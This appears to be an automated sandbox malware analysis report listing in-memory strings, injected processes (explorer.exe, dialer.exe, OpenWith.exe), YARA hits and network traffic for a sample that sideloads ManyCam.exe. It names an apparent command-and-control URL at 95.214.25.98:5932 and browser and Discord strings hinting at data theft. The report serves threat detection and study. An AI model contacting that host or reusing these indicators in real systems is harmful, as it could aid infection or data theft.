Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://update.peerblock.com/pb_update.php?build=41401140693
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.bluetack.co.uk/config/trojan.zip
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: ManyCam.exe, 00000002.00000002.2117472776.00000000038BD000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.000000000560F000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: ManyCam.exe, ManyCam.exe, 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.manycam.com
Source: ManyCam.exe, ManyCam.exe, 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.manycam.com/codec
Source: ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.manycam.com/codecVerdanaThis
Source: ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.manycam.com/codecVerdanaTo
Source: ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.manycam.com/help/effects/snapshot/these
Source: ManyCam.exe, 00000002.00000000.2061044675.000000000053B000.00000002.00000001.01000000.00000007.sdmp, ManyCam.exe, 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.manycam.comhttp://manycam.com/feedback/?version=%sAnchor
Source: XtDhwVrVKn.exe, 00000000.00000000.1999301945.00007FF62CDCE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.peerblock.com
Source: XtDhwVrVKn.exe, 00000000.00000000.1999301945.00007FF62CDCE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.peerblock.com/error
Source: XtDhwVrVKn.exe, 00000000.00000000.1999301945.00007FF62CDCE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.peerblock.com/required-services
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.peerblock.comhttp://forums.peerblock.comTEXTPeerBlock
Source: XtDhwVrVKn.exe, 00000000.00000000.1999301945.00007FF62CDCE000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.phoenixlabs.org)
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: OpenWith.exe, 0000000A.00000003.2629647997.000001D139209000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2846698564.000001D139209000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2531310501.000001D139209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.214.25.98:5932/c308853b38a937713/esl57g54.3bb6x
Source: dialer.exe, 00000008.00000002.2487637927.00000000008EC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://95.214.25.98:5932/c308853b38a937713/esl57g54.3bb6xX
Source: dialer.exe, 00000008.00000002.2489067987.0000000005377000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000008.00000002.2488519125.0000000004F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.214.25.98:5932/c308853b38a937713/esl57g54.3bb6xkernelbasentdllkernel32GetProcessMitigatio
Source: OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://app.physics.wisc.edu/backup-status/rxp2.hep.wisc.edu.txt
Source: XtDhwVrVKn.exe, 00000000.00000000.1999214746.00007FF62CD39000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://app.physics.wisc.edu/backup-status/rxp2.hep.wisc.edu.txtge-loopMessage
Source: OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: OpenWith.exe, 0000000A.00000003.2601339249.000001D139285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: OpenWith.exe, 0000000A.00000003.2601339249.000001D139285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com
Source: OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ManyCam.exe, 00000002.00000002.2117472776.0000000003913000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2358442084.0000000005657000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2397645041.0000000004E5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: OpenWith.exe, 0000000A.00000003.2593336172.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2593030770.000001D139295000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000A.00000003.2592628131.000001D139295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: app.physics.wisc.edu

Source: C:\Windows\System32\OpenWith.exe

Code function: 10_3_00007DF439BA1A5C WSARecv,

10_3_00007DF439BA1A5C

Source: global traffic	HTTP traffic detected: GET /backup-status/rxp2.hep.wisc.edu.txt HTTP/1.1User-Agent: concessionaryHost: app.physics.wisc.edu
Source: global traffic	HTTP traffic detected: GET /backup-status/rxp2.hep.wisc.edu.txt HTTP/1.1User-Agent: concessionaryHost: app.physics.wisc.edu
Source: global traffic	HTTP traffic detected: GET /z0gTiQ2.png HTTP/1.1Connection: Keep-AliveHost: i.imgur.com

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98
Source: unknown	TCP traffic detected without corresponding DNS query: 95.214.25.98

Source: unknown	HTTPS traffic detected: 128.104.160.19:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.200.193:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: Yara match	File source: 8.3.dialer.exe.5220000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.dialer.exe.5000000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.explorer.exe.6c60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.explorer.exe.6e80000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.dialer.exe.5220000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000003.2398960542.0000000005220000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2395563099.0000000006E80000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2395413871.0000000006C60000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2398803359.0000000005000000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dialer.exe PID: 4320, type: MEMORYSTR

Source: explorer.exe, 00000007.00000003.2395563099.0000000006E80000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_8ac9de44-9

Source: explorer.exe, 00000007.00000003.2395563099.0000000006E80000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_ba0ef643-f

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0050EC90	2_2_0050EC90
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0173E120	2_2_0173E120
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0175E110	2_2_0175E110
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_01740180	2_2_01740180
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0170C0D0	2_2_0170C0D0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_017600D0	2_2_017600D0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0178C360	2_2_0178C360
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_017883B0	2_2_017883B0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_017163A7	2_2_017163A7
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0178E240	2_2_0178E240
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_01762230	2_2_01762230
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_01740209	2_2_01740209
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_016F82F0	2_2_016F82F0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_016F42C0	2_2_016F42C0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_017902C0	2_2_017902C0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_016F62A0	2_2_016F62A0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0170E2A0	2_2_0170E2A0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_017302A0	2_2_017302A0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0177A523	2_2_0177A523
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_017565F0	2_2_017565F0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0170E5A0	2_2_0170E5A0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0178E5A0	2_2_0178E5A0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_017504F0	2_2_017504F0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0179E4D0	2_2_0179E4D0
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_01734710	2_2_01734710
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_01758700	2_2_01758700
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0179C790	2_2_0179C790
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_0174C670	2_2_0174C670
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Code function: 2_2_01754660	2_2_01754660
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_02EEC1F6	7_2_02EEC1F6
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_02EEC3BE	7_2_02EEC3BE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_02E6154C	7_2_02E6154C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_000001D137314A38	10_3_000001D137314A38
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_000001D137312C3C	10_3_000001D137312C3C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_000001D137311BA6	10_3_000001D137311BA6
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_000001D13731279C	10_3_000001D13731279C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_000001D1373124F7	10_3_000001D1373124F7
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_000001D137315E7C	10_3_000001D137315E7C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_000001D13731557C	10_3_000001D13731557C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_000001D1373158FC	10_3_000001D1373158FC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B86F5C	10_3_00007DF439B86F5C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BF3938	10_3_00007DF439BF3938
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BBA92C	10_3_00007DF439BBA92C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BA6840	10_3_00007DF439BA6840
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BB6810	10_3_00007DF439BB6810
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BC67B8	10_3_00007DF439BC67B8
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C487EC	10_3_00007DF439C487EC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C36788	10_3_00007DF439C36788
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C377A0	10_3_00007DF439C377A0
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C37B38	10_3_00007DF439C37B38
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C43AE8	10_3_00007DF439C43AE8
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B7EA74	10_3_00007DF439B7EA74
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B9CAB0	10_3_00007DF439B9CAB0
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B54A2C	10_3_00007DF439B54A2C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B9BCFC	10_3_00007DF439B9BCFC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B6BD1C	10_3_00007DF439B6BD1C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C36CC0	10_3_00007DF439C36CC0
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BC9C8C	10_3_00007DF439BC9C8C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C34C94	10_3_00007DF439C34C94
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B60C68	10_3_00007DF439B60C68
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B51BFC	10_3_00007DF439B51BFC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C26BF4	10_3_00007DF439C26BF4
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BEAF24	10_3_00007DF439BEAF24
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BA7DD4	10_3_00007DF439BA7DD4
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BBED94	10_3_00007DF439BBED94
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BA7100	10_3_00007DF439BA7100
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BB60CC	10_3_00007DF439BB60CC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C370DC	10_3_00007DF439C370DC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B91084	10_3_00007DF439B91084
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B9C088	10_3_00007DF439B9C088
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C3C324	10_3_00007DF439C3C324
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C49324	10_3_00007DF439C49324
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B6332C	10_3_00007DF439B6332C
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BA42B4	10_3_00007DF439BA42B4
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BB62A8	10_3_00007DF439BB62A8
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BAA264	10_3_00007DF439BAA264
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B9F1F4	10_3_00007DF439B9F1F4
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C331C8	10_3_00007DF439C331C8
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B6D4E0	10_3_00007DF439B6D4E0
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BA8488	10_3_00007DF439BA8488
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B5E438	10_3_00007DF439B5E438
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C2B404	10_3_00007DF439C2B404
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BB63B8	10_3_00007DF439BB63B8
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B9C764	10_3_00007DF439B9C764
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439BA9708	10_3_00007DF439BA9708
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B6D6A8	10_3_00007DF439B6D6A8
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C37620	10_3_00007DF439C37620
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C435CC	10_3_00007DF439C435CC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439B775CC	10_3_00007DF439B775CC
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_3_00007DF439C305A4	10_3_00007DF439C305A4
Source: C:\Windows\System32\OpenWith.exe	Code function: 10_2_000001D137280C5C	10_2_000001D137280C5C

Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: cxcore099.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: cv099.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: highgui099.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippopencv099.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe	Section loaded: ippopencv097.dll	Jump to behavior
